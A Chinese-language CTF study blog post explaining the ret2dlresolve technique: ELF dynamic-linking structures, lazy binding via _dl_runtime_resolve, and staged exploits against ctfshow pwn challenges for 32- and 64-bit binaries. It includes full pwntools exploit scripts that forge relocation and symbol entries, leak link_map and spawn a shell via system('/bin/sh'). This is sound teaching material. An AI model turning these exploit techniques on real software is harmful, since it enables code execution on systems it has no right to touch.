ret2dlresolve
ret2dlresolve
参考资料:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
https://blog.csdn.net/seaaseesa/article/details/104478081
Return-to-dl-resolve | BruceFan’s Blog
原理:
相关结构
ELF可执行文件由ELF头部、程序头部表和其对应的段、节头部表和其对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC
的段,它包含.dynamic
节。结构如下:
1 | typedef struct { |
其中tag对应着每个节,比如JMPREL
对应着.rel.plt
节中包含目标文件的所有信息。节的结构如下:
1 | typedef struct { |
如下图,列出了该文件的31个节区。其中类型为REL的节区包含重定位表项
(1).rel.plt
节是用于函数重定位,.rel.dyn
节是用于变量重定位
1 | typedef struct { |
如图,在.rel.plt中列出了链接的C库函数,以下均以write函数为例,write函数的r_offset=0x0804a01c
,r_info=0x607
(2).got
节保存全局变量偏移表,.got.plt
节保存全局函数偏移表。.got.plt
对应着Elf32_Rel
结构中r_offset
的值
(3).dynsym
节包含了动态链接符号表,存储了程序中需要被动态链接器解析的符号信息。它包含了符号的类型(如函数、变量)、绑定(如全局、局部)、大小、地址等信息。动态链接器通过解析 .dynsym 中的符号信息,将共享库中的符号与可执行文件中的符号进行绑定。
Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)
。根据定义
1 | ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8 |
1 | typedef struct |
注释:
1 | //符号名称在字符串表中的索引。通过这个索引可以从字符串表中找到符号的名称。 |
write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMO_SLOT
。
(4).dynstr
节包含了动态链接的字符串(字符串数组)。这个节以\x00
作为开始和结尾,中间每个字符串也以\x00
间隔。
其中0x080481cc为.dynsym节的首地址,0x0804826c为.dynstr节的首地址,0x4c为write在字符串表中的偏移
Elf32_Sym[6]->st_name=0x4c(.dynsym + Elf32_Sym_size * num),所以.dynstr
加上0x4c的偏移量,就是字符串write。
(5).plt
节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。
当程序执行call write@plt时,实际会跳到0x0804a01c(.got.plt–>write)去执行
延迟绑定
在linux下,二进制引用的外部符号加载方式有三种,FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在PARTIAL_RELRO和NO_RELRO的情况下,外部符号的地址延迟加载,并且,在NO_RELRO下,ELF的dynamic段可读写。
ELF中有plt表和got表,程序调用动态链接库里的函数时,call的是plt表项,plt表中放着jmp指令,jmp到对应got表中在未第一次调用被调函数时,该函数的got表中并没有存着函数的实际地址
跟进write函数跳转到其plt表中
跟进off_80498D4,此时还未加载入write的真实地址
跟进loc_80483A6,发现push reloc_arg
然后jmp到了plt[0]处
跟进sub_8048350 也就是plt[0],即 push linkmap
以及跳转到 _dl_runtime_resolve
函数
先push了 linkmap 到栈上
又jmp到_dl_runtime_resolve
函数
其实就是_dl_runtime_resolve
接受两个参数,第一个是link_map
,通过这个link_map,ld链接器可以访问到dynstr、dynamic、dynsym、rel.plt等所需要的数据地址,而第二个参数reloc_arg
,则表明要解析的函数在符号表中是第几个,比如,在这个elf文件里,write在第21个位置,因此push 20
调用write后got表中也就存着write的实际地址了
_dl_runtime_resolve是如何工作的呢?我们查看glibc的源码
它的源码在glibc/sysdeps/x86_64/dl-trampoline.h,是直接用汇编写的,我们看到,_dl_runtime_resolve简单的调用了_dl_fixup,因此,我们再去看看_dl_fixup的源码,它的源码在glibc/elf/dl-runtime.c
1 |
|
只关注主要函数
1 | _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) |
以write为例:
1 | 通过link_map找到对应的 |
简单来说,在解释对应函数地址是根据对应符号名字符串来解析的,如果控制了符号名字符串,那么可以在不泄露libc的情况下实现解析任何函数
.rel.plt
段的结构
.rel.plt
段中的每个重定位条目通常包含以下信息:
- 偏移量(Offset) :表示在
.plt
段或.got.plt
段中的偏移地址,用于指示需要重定位的数据位置。- 信息(Info) :包含符号表索引和类型信息,用于确定重定位的目标符号(如函数名)和重定位类型。
- 类型(Type) :在 ELF 文件中,重定位类型用于指定重定位的操作方式。对于
.rel.plt
段,通常使用R_386_JMP_SLOT
类型(在 32 位 x86 架构中),表示这是一个跳转槽(JMP_SLOT)重定位,用于填充.got.plt
表中的地址。- 符号表索引(Symbol Table Index) :用于在动态符号表(
.dynsym
)中查找对应的符号(如函数名),从而获取函数的实际地址。
攻击思路:
思路 1 - 直接控制重定位表项的相关内容
由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表 .dynstr,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是,动态字符串表和代码映射在一起,是只读的。此外,类似地,我们可以发现动态符号表、重定位表项都是只读的。
但是,假如我们可以控制程序执行流,那我们就可以伪造合适的重定位偏移,从而达到调用目标函数的目的。然而,这种方法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保动态链接器在解析的过程中不会出错。
思路 2 - 间接控制重定位表项的相关内容
既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容使得最后动态链接器解析的符号是我们想要解析的符号,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。
思路 3 - 伪造 link_map
由于动态连接器在解析符号地址时,主要依赖于 link_map 来查询相关的地址。因此,如果我们可以成功伪造 link_map,也就可以控制程序执行目标函数。
实例分析:
32位
NO_RELRO下的情况
ctfshow-pwn-32
check
1 | 桌面$ checksec pwn |
NO_RELRO下的情况下.dynamic节是可写的我们直接修改.dynamic的strtab将其指向我们构造的.dynstr表
正常的.dynstr表找该表可以搜aread
将read替换为system使得在调用read时执行system
具体思路:利用read在bss段上部署新的.dynstr表,其中将read的符号的名字改为system,接着修改.dynamic的strtab将其指向bss段的新.dynstr表,传入/bin/sh最后调用read函数的plt[2]执行system('/bin/sh')
exp:
1 | from pwn import * |
Partial RELRO手工伪造
1.控制eip
为PLT[0]的地址,只需传递一个index_arg
(0x20)参数
2.控制index_arg
的大小,使reloc
(base_stage+0x24)的位置落在可控地址内
3.伪造reloc
的内容,使sym
落在可控地址内
4.伪造sym
的内容,使name
落在可控地址内
5.伪造name
为任意库函数,如system
ctfshow-pwn-83
check
1 | 桌面$ checksec pwn |
开启Partial RELRO后.dynamic不可写了刚刚这种做法就不太好完成了这时我们可以通过伪造重定位表项的方式来调用目标函数。
有两种方式一种是手工伪造,这种方法比较麻烦但是可以仔细理解ret2dlresolve的原理,另一种是用工具来实现攻击比较方便
题目函数和溢出点没变
为进一步理解利用原理,选择跟着wiki一步步手工伪造
stage1
在这一阶段,我们的目的比较简单,就是控制程序直接执行 write 函数。在栈溢出的情况下,我们其实可以直接控制返回地址来控制程序直接执行 write 函数。但是这里我们采用一个相对复杂点的办法,即先使用栈迁移,将栈迁移到 bss 段,然后再来控制 write 函数。因此,这一阶段主要包括两步
- 将栈迁移到 bss 段。
- 通过 write 函数的 plt 表项来执行 write 函数,输出相应字符串。
代码如下:
1 | from pwn import * |
程序正常输出了/bin/sh\x00
stage2
在这一阶段,进一步利用_dl_runtime_resolve相关知识来控制程序执行write函数
- 将栈迁移到 bss 段。
- 控制程序直接执行 plt[0] 中的相关指令,即 push linkmap 以及跳转到
_dl_runtime_resolve
函数。这时,我们还需要提供 write 重定位项在 got 表中的偏移。这里,我们可以直接使用 write plt 中提供的偏移,即 0x080483C6 处所给出的 0x20。其实,我们也可以跳转到 0x080483C6 地址处,利用原有的指令来提供 write 函数的偏移,并跳转到 plt[0]。
具体代码如下:
1 | from pwn import * |
1 | .plt:080483C6 loc_80483C6: |
exp中plt0实际存放的地址对应的汇编是push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
此时凑齐_dl_runtime_resolve
函数的两个参数也就是
_dl_runtime_resolve(linkmap,reloc_offset)
程序正常输出了/bin/sh\x00
stage3
这一次,我们同样控制 _dl_runtime_resolve
函数中的 reloc_offset 参数,不过这次控制其指向我们伪造的 write 重定位项,也就是控制index_offset
,使其指向我们构造的fake_reloc
鉴于 pwntools 本身并不支持对重定位表项的信息的获取。这里我们手动看一下
1 | 桌面$ readelf -r pwn |
可以看出write的重定位表项的reloc_offset = 0x0804a01c
,reloc_info = 0x00000607
1 | from pwn import * |
stage4
在stage3中我们控制了重定位表项,但是伪造的重定位表项的内容仍然与write函数原来的重定位表项一致。
在这个阶段,我们将构造属于我们自己的重定位表项,并且伪造该表项对应的符号。首先,我们根据write的重定位表项的r_info=0x607
可以知道,write对应的符号在符号表的下标为 0x607>>8=0x6。因此我们知道write对应的符号地址为0x0804822c。
1 | 桌面$ readelf -x .dynsym pwn |
1 | from pwn import * |
执行之后发现程序断在了fixup函数里,也就是在ld-linux.so.2
中崩了
接着跟着wiki分析
通过逆向分析ld-linux.so.2
1 | if ( v9 ) |
以及源码可以知道程序是在访问 version 的 hash 时出错
1 | if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) |
进一步分析可以知道,因为我们伪造了 write 函数的重定位表项,其中 reloc->r_info(符号表索引+重定位类型) 被设置成了比较大的值(0x26807)(正常值是0x607)。这时候,ndx 的值并不可预期,进而 version 的值也不可预期,因此可能出现不可预期的情况。
通过分析 .dynmic 节,我们可以发现 vernum(VERSYM) 的地址为 0x80482d8。
在 ida 中,我们也可以看到相关的信息
这一部分ndx的地址还没搞懂是怎么找的,先把wiki贴上
那我们可以再次运行看一下伪造后 ndx 具体的值
1
2
3
4
5
6
7
8
9
10 ❯ python stage4.py
[*] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './main_partial_relro_32': pid 27649
[*] Loaded 10 cached gadgets for './main_partial_relro_32'
ndx_addr: 0x80487a8可以发现,ndx_落入了
.eh_frame
节中
1 .eh_frame:080487A8 db 2Ch ; ,进一步地,ndx 的值为 0x2C。显然不知道会索引到哪里去。
1
2
3
4
5
6
7
8
9 if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}通过动态调试,我们可以发现 l_versions 的起始地址,并且其中一共有 3 个元素。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 pwndbg> print *((struct link_map *)0xf7f0d940)
$4 = {
l_addr = 0,
l_name = 0xf7f0dc2c "",
l_ld = 0x8049f0c,
l_next = 0xf7f0dc30,
l_prev = 0x0,
l_real = 0xf7f0d940,
l_ns = 0,
l_libname = 0xf7f0dc20,
l_info = {0x0, 0x8049f0c, 0x8049f7c, 0x8049f74, 0x0, 0x8049f4c, 0x8049f54, 0x0, 0x0, 0x0, 0x8049f5c, 0x8049f64, 0x8049f14, 0x8049f1c, 0x0, 0x0, 0x0, 0x8049f94, 0x8049f9c, 0x8049fa4, 0x8049f84, 0x8049f6c, 0x0, 0x8049f8c, 0x0, 0x8049f24, 0x8049f34, 0x8049f2c, 0x8049f3c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8049fb4, 0x8049fac, 0x0 <repeats 13 times>, 0x8049fbc, 0x0 <repeats 25 times>, 0x8049f44},
l_phdr = 0x8048034,
l_entry = 134513632,
l_phnum = 9,
l_ldnum = 0,
l_searchlist = {
r_list = 0xf7edf3e0,
r_nlist = 3
},
l_symbolic_searchlist = {
r_list = 0xf7f0dc1c,
r_nlist = 0
},
l_loader = 0x0,
l_versions = 0xf7edf3f0,
l_nversions = 3,对应的分别为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 pwndbg> print *((struct r_found_version[3] *)0xf7edf3f0)
$13 = {{
name = 0x0,
hash = 0,
hidden = 0,
filename = 0x0
}, {
name = 0x0,
hash = 0,
hidden = 0,
filename = 0x0
}, {
name = 0x80482be "GLIBC_2.0",
hash = 225011984,
hidden = 0,
filename = 0x804826d "libc.so.6"
}}此时,计算得到的 version 地址为 0xf7f236b0,显然不在映射的内存区域。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 pwndbg> print /x 0xf7edf3f0+0x442C*16
$16 = 0xf7f236b0
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32
0x8049000 0x804a000 r--p 1000 0 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32
0x804a000 0x804b000 rw-p 1000 1000 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32
0xf7ce8000 0xf7ebd000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7ebd000 0xf7ebe000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7ebe000 0xf7ec0000 r--p 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7ec0000 0xf7ec1000 rw-p 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7ec1000 0xf7ec4000 rw-p 3000 0
0xf7edf000 0xf7ee1000 rw-p 2000 0
0xf7ee1000 0xf7ee4000 r--p 3000 0 [vvar]
0xf7ee4000 0xf7ee6000 r-xp 2000 0 [vdso]
0xf7ee6000 0xf7f0c000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7f0c000 0xf7f0d000 r--p 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7f0d000 0xf7f0e000 rw-p 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xffa4b000 0xffa6d000 rw-p 22000 0 [stack]而在动态解析符号地址的过程中,如果 version 为 NULL 的话,也会正常解析符号。
与此同,根据上面的调试信息,可以知道 l_versions 的前两个元素中的 hash 值都为 0,因此如果我们使得 ndx 为 0 或者 1 时,就可以满足要求,我们来在 080487A8 下方找一个合适的值。可以发现 0x080487C2 处的内容为 0。
那自然的,我们就可以调用目标函数。
这里,我们可以通过调整 base_stage 来达到相应的目的。
- 首先 0x080487C2 与 0x080487A8 之间差了 0x080487C2-0x080487A8)/2 个 version 记录。
- 那么,这也就说明原先的符号表偏移少了对应的个数。
- 因此,我们只需要将 base_stage 增加 (0x080487C2-0x080487A8)/2*0x10,即可达到对应的目的。
1 | from pwn import * |
最终能正常输出
stage5
这一阶段,我们将在4的基础上,进一步伪造write符号的st_name指向我们自己构造的字符串
1 | from pwn import * |
能够正常输出
stage6
这一次我们只用将原先的write字符改为system字符串,同时修改write的参数为system的参数即可获得shell,因为_dl_runtime_resolve
函数最终是依赖函数名来解析目标地址的
1 | from pwn import * |
成功获得了shell
NO_RELRO的情况下我们是直接改.dynamic的strtab将其指向我们构造的.dynstr表
Partial RELRO的情况下我们是通过伪造一整个重定位表项的方式来调用目标函数。
基于工具伪造
有了工具是真的方便,虽然这个漏洞已经很久远了
1 | from pwn import * |
Full RELRO
在开启 FULL RELRO 保护的情况下,程序中导入的函数地址会在程序开始执行之前被解析完毕,因此 got 表中 link_map 以及 dl_runtime_resolve 函数地址在程序执行的过程中不会被用到。故而,GOT 表中的这两个地址均为 0。此时,直接使用上面的技巧是不行的。
64位
NO RELRO
ctfshow pwn 84
和32位差不多栈迁移到bss段上在bss段上伪造字符串表,将其中的read字符串替换为system字符串,直接修改.dynamic的strtab将其指向我们构造的.dynstr表
- 在 bss 段伪造栈。栈中的数据为
- 修改 .dynamic 节中字符串表的地址为伪造的地址
- 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
- 在特定的位置读取 /bin/sh 字符串。
- 调用 read 函数的 plt 的第二条指令,触发
_dl_runtime_resolve
进行函数解析,从而触发执行 system 函数。
- 栈迁移到 bss 段。
由于没有pop rdx我们使用万能gadget _libc_csu
控制rdx的值
1 | from pwn import * |
远程能通但是本地通不了,应该是本地的rdx不为零导致没有获得shell,暂时还不清楚是哪个函数导致的
Partial RELRO
ctfshow-pwn85
check
1 | 桌面$ checksec pwn |
手工伪造
64位的变化
glibc中默认编辑使用的是ELF_Rela
来记录重定向的内容
这里Elf64_Addr、Elf64_Xword、Elf64_Sxword都为64位,因此Elf64_Rela结构体的大小为24字节。
根据IDA里的重定位表的信息可以知道,write函数在符号表中的偏移为1(0x100000007h>>32)
可以在符号表中印证偏移确实为1
在64位下,Elf64_Sym结构体为
其中
1 | Elf64_Word 32位 |
所以Elf64_Sym的大小为24个字节
除此之外,在64位下,plt中的代码push的是待解析符号在重定位表中的索引,而不是偏移。比如,write函数push的是0。
据上方分析写出如下脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104 from pwn import *
# context.log_level="debug"
# context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./main_partial_relro_64")
elf = ELF("./main_partial_relro_64")
bss_addr = elf.bss()
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
vuln_addr = 0x400637
def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
return payload
def ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr):
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
relaent = elf.dynamic_value_by_tag("DT_RELAENT") # reloc entry size
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") # symbol entry size
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# construct fake function string
func_string_addr = store_addr
resolve_data = func_name + "\x00"
# construct fake symbol
symbol_addr = store_addr+len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr+pad
symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
symbol_index = (symbol_addr - dynsym)/24
resolve_data +='a'*pad
resolve_data += symbol
# construct fake reloc
reloc_addr = store_addr+len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset % relaent # align relaent size
reloc_addr +=pad
reloc_index = (reloc_addr-rel_plt)/24
rinfo = (symbol_index<<32) | 7
write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
resolve_data +='a'*pad
resolve_data +=write_reloc
resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data, resolve_call
io.recvuntil('Welcome to XDCTF2015~!\n')
gdb.attach(io)
store_addr = bss_addr+0x100
# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./main_partial_relro_64")
offset = 112+8
rop.raw(offset*'a')
resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, "system",elf.got["write"])
rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())
# send resolve data
io.send(resolve_data)
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
sh = "/bin/sh\x00"
bin_sh_addr = store_addr+len(resolve_data)
rop.raw(csu(0, 1 ,elf.got['read'],0,bin_sh_addr,len(sh)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(sh)
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
rop.raw(0x00000000004007a3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(bin_sh_addr)
rop.raw(resolve_call)
rop.raw('a'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()然而, 简单地运行后发现,程序崩溃了。
通过调试,我们发现,程序是在获取对应的版本号
- rax 为 0x4003f6,指向版本号数组
- rdx 为 0x155f1,符号表索引,同时为版本号索引
同时 rax + rdx*2 为 0x42afd8,而这个地址并不在映射的内存中。
那我们能不能想办法让它位于映射的内存中呢。估计有点难
- bss 的起始地址为 0x601050,那么索引值最小为 (0x601050-0x400398)/24=87517,即 0x4003f6 + 87517*2 = 0x42afb0
- bss 可以最大使用的地址为 0x601fff,对应的索引值为 (0x601fff-0x400398)/24=87684,即 0x4003f6 + 87684*2 = 0x42b0fe
显然都在非映射的内存区域。因此,我们得考虑考虑其它办法。通过阅读 dl_fixup 的代码
1
2
3
4
5
6
7
8
9
10 // 获取符号的版本信息
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}我们发现,如果把 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL,那程序就不会执行下面的代码,版本号就为 NULL,就可以正常执行代码。但是,这样的话,我们就需要知道 link_map 的地址了。 GOT 表的第 0 项(本例中 0x601008)存储的就是 link_map 的地址。
因此,我们可以
- 泄露该处的地址
- 将 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL
- 最后执行利用脚本即可
通过汇编代码,我们可以看出 l->l_info[VERSYMIDX(DT_VERSYM)] 的偏移为 0x1c8
1
2
3
4 ► 0x7fa4b09f7ea1 <_dl_fixup+97> mov rax, qword ptr [r10 + 0x1c8]
0x7fa4b09f7ea8 <_dl_fixup+104> xor r8d, r8d
0x7fa4b09f7eab <_dl_fixup+107> test rax, rax
0x7fa4b09f7eae <_dl_fixup+110> je _dl_fixup+156 <_dl_fixup+156>因此,我们可以简单修改下 exp。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126 from pwn import *
# context.log_level="debug"
# context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./main_partial_relro_64")
elf = ELF("./main_partial_relro_64")
bss_addr = elf.bss()
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
vuln_addr = 0x400637
def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
return payload
def ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr):
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
relaent = elf.dynamic_value_by_tag("DT_RELAENT") # reloc entry size
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") # symbol entry size
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# construct fake function string
func_string_addr = store_addr
resolve_data = func_name + "\x00"
# construct fake symbol
symbol_addr = store_addr+len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr+pad
symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
symbol_index = (symbol_addr - dynsym)/24
resolve_data +='a'*pad
resolve_data += symbol
# construct fake reloc
reloc_addr = store_addr+len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset % relaent # align relaent size
reloc_addr +=pad
reloc_index = (reloc_addr-rel_plt)/24
rinfo = (symbol_index<<32) | 7
write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
resolve_data +='a'*pad
resolve_data +=write_reloc
resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data, resolve_call
io.recvuntil('Welcome to XDCTF2015~!\n')
gdb.attach(io)
store_addr = bss_addr+0x100
# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./main_partial_relro_64")
offset = 112+8
rop.raw(offset*'a')
resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, "system",elf.got["write"])
rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())
# send resolve data
io.send(resolve_data)
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
sh = "/bin/sh\x00"
bin_sh_addr = store_addr+len(resolve_data)
rop.raw(csu(0, 1 ,elf.got['read'],0,bin_sh_addr,len(sh)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(sh)
# leak link_map addr
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
link_map_addr = u64(io.recv(8))
print(hex(link_map_addr))
# set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+0x1c8,8))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(0))
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
rop.raw(0x00000000004007a3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(bin_sh_addr)
rop.raw(resolve_call)
# rop.raw('a'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()然而,还是崩溃。但这次比较好的是,确实已经执行到了 system 函数。通过调试,我们可以发现,system 函数在进一步调用 execve 时出现了问题
即环境变量的地址指向了一个莫名的地址,这应该是我们在进行 ROP 的时候破坏了栈上的数据。那我们可以调整调整,使其为 NULL 或者尽可能不破坏原有的数据。这里我们选择使其为 NULL。
首先,我们可以把读伪造的数据和 /bin/sh 部分的 rop 合并起来,以减少 ROP 的次数
这时候 envp 被污染的数据就只有 0x61 了,即我们填充的数据’a’。那就好办了,我们只需要把所有的 pad 都替换为
\x00
即可。
最终完整的exp如下
1 | from pwn import * |
这里又遇到一个问题,在最后一段rop如果是远程环境偏移不变,如果是本地环境偏移就要对应减8,暂时还没有发现原因
小结:
这篇文章断断续续写了快3个星期(最近有点偷懒了)目前的掌握程度还不深要靠实战来加深,加油!